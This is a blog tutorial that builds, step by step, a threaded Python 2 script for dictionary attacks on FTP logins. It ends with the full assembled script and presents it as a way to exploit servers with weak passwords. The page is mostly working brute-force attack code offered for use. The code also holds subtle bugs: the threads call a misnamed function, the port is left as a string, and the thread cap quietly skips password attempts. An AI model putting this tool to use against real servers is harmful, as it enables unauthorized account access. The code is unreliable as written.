Cracking File Transfer Protocol (FTP) In Python With Dictionary Attack

by vault . 01 May 2018

Cracking File Transfer Protocol (FTP) In Python With Dictionary Attack

in this tutorial, i'll show you code a python script, a simple script that takes a text file dictionary and a target ftp server as input arguments and tries to crack the server using several credentials composed in the provided file. What exactly we will accomplish is to loop through a set (username, password) of credentials, each will try to proceed with a successful connection.

FTP is a widely deployed remote protocol to transfer files from local to remote computer and have retained it's attention over the past decades and still have a wide audience. Cracking has always been a painless way to compromise security measures. In this case, we will explain our script to check for any single successful connection, if get caught, stop the service and print back the credentials.

Cracking

Cracking softwares and scripts actually work on the basis of username and password dictionaries. It is instructed to take usernames in an ascending sequence with relative password from the other dictionary file. Then either it spawns multiple threads or create a single loop to process the rest of logic.

ftplib

ftplib is the standard Python library to interact with FTP Servers. Almost, all of FTP tasks like uploading and downloading can be performed through this well-grounded library.

STEP 1

Logic

Here will come the main logic. Create a function, name it ftpLog(), pass it two arguments, the username and password. Then spawn a connection with target FTP server and try to login with provided credentials. Something like this:

import ftplib
target = ""
def ftpLog(username, password):
    global target
    try:    
        serv = ftplib.FTP()
        serv.connect(target, port, timeout=30)    # set timeout to wait for unresponsive connection
        print "Checking: %s/%s" % (username, password)
        serv.login(username, password)
        print "Credentials Found: %s / %s" % (username, password)
        serv.quit()
        return
    except:
        return

So, this was the core of whole attack. Proceed to next step.

STEP 2

Provided arguments

In this step we will get the arguments from user passed at the system level with Python directive and in short which are target server and the target port. We would call it our main function. Get the supplied arguments using getopt and assign them relative variables.

...
import sys, getopt
target, port = "", 21
def main():
    global target, port
    opts, args = getopt.getopt(sys.argv[1:], "t:p:", ['target', 'port'])
    for option, value in opts:
        if option in ('--target', '-t'):
            target = value
        elif option in ('--port', '-p'):
            port = value
        else:
            print "No such Argument \n",help()
            sys.exit()

What i did above is pretty simple. Just understand the getopt module. This module is provided to parse and execute command-line arguments provided with the script. It takes three arguments. First is the list of given arguments, second is the short notation of argument representation, third and last is the list of long options. An example:

getopt.getopt( [ '-t', 'ftp.server.com', '-p', 21 ], "t:p:", [ 'target', 'port' ] )

STEP 3

Crack it!

Now, create a dictionary of a few usernames and passwords seperated by colon = like this:

dictionary

Import threading module and execute the ftpLog functiton which we earlier created in step 1 as a thread. Append these lines next to main function.

import threading
def main():
   ...
   dictionary = open(raw_input("Enter Dictionary Path: "), 'r')
    for line in dictionary.readlines():
	if len(line.split(":")) == 2:
           username = line.split(":")[0]
           password = line.split(":")[1].strip("\n")
           Thread = threading.Thread(target=ftpLogin, args=(username, password))
           Thread.start()

The problem at this stage is that it would work fine but continuously go on creating more and more threads without caring for the one previously spawned. So, we have to do something or else either it will crash the server or the server would start dropping the requests. A simple and pretty way to do this is to check the active number of threads in the script. Now, edit the ftpLog function something like this:

def ftpLog(username, password):
    global target
    if threading.active_count() < 10:
        try:    
            serv = ftplib.FTP()
            serv.connect(target, port, timeout=30)    # set timeout to wait for unresponsive connection
            print "Checking: %s/%s" % (username, password)
            serv.login(username, password)
            print "Credentials Found: %s / %s" % (username, password)
            serv.quit()
            return
        except:
            return

threading.active_count() returns an integer, indicating the current number of threads running in the background. So, this would help in determining current threads and we can simply limit this number at a time.

STEP 4

help function

We used a function named help() earlier in step 2 which hasn't yet assigned any instructions. Lets give it some value:

def help():
   info = """... Help Manual ...
   usage: python program.py -t unknown.com"""
   return info

STEP 5

WRAP UP

Now, just put it all in a sequence. Wrap it UP.....

#!/usr/bin/python
import ftplib, sys, getopt, threading
target, port = "", 21
def ftpLog(username, password):
    global target
    if threading.active_count() < 10:
        try:    
            serv = ftplib.FTP()
            serv.connect(target, port, timeout=30)    # set timeout to wait for unresponsive connection
            print "Checking: %s/%s" % (username, password)
            serv.login(username, password)
            print "Credentials Found: %s / %s" % (username, password)
            serv.quit()
            return
        except:
            return
def help():
   info = "... Help Manual ...\
   \nusage: python program.py -t shellvoide.com"
   return info
def main():
    global target, port
    opts, args = getopt.getopt(sys.argv[1:], "t:p:", ['target', 'port'])
    for option, value in opts:
        if option in ( '-t', '--target' ):
            target = value
        elif option in ( '-p', '--port' ):
            port = value
        else:
            print "No such Argument \n",help()
	    sys.exit()
    dictionary = open(raw_input("Enter Dictionary Path: "), 'r')
    for line in dictionary.readlines():
	if len(line.split(":")) == 2:
            username = line.split(":")[0]
            password = line.split(":")[1].strip("\n")
            Thread = threading.Thread(target=ftpLogin, args=(username, password))
            Thread.start()
if __name__ == "__main__":
	main()

STEP 6

test the code

Let's check if it is working or not. Here is the dictionary composed of 25 most commonly used passwords and root as the username with every password. Its because I am supposing my target to be a Linux operating system and the matter here is that almost every Linux OS does have a user account with name root.

dictionary to crack FTP passwords

There's a screenshot after i'd tested the script against the FTP service i setup earlier on localhost

cracking FTP passwords with Python

Conclusion

We created an FTP cracking script, that tries to log in to target service with different credentials provided. In case, you fail to exploit any other component of the target server, more reliable means of exploitation against the target is checking if it vulnerable to weak and fragile passwords.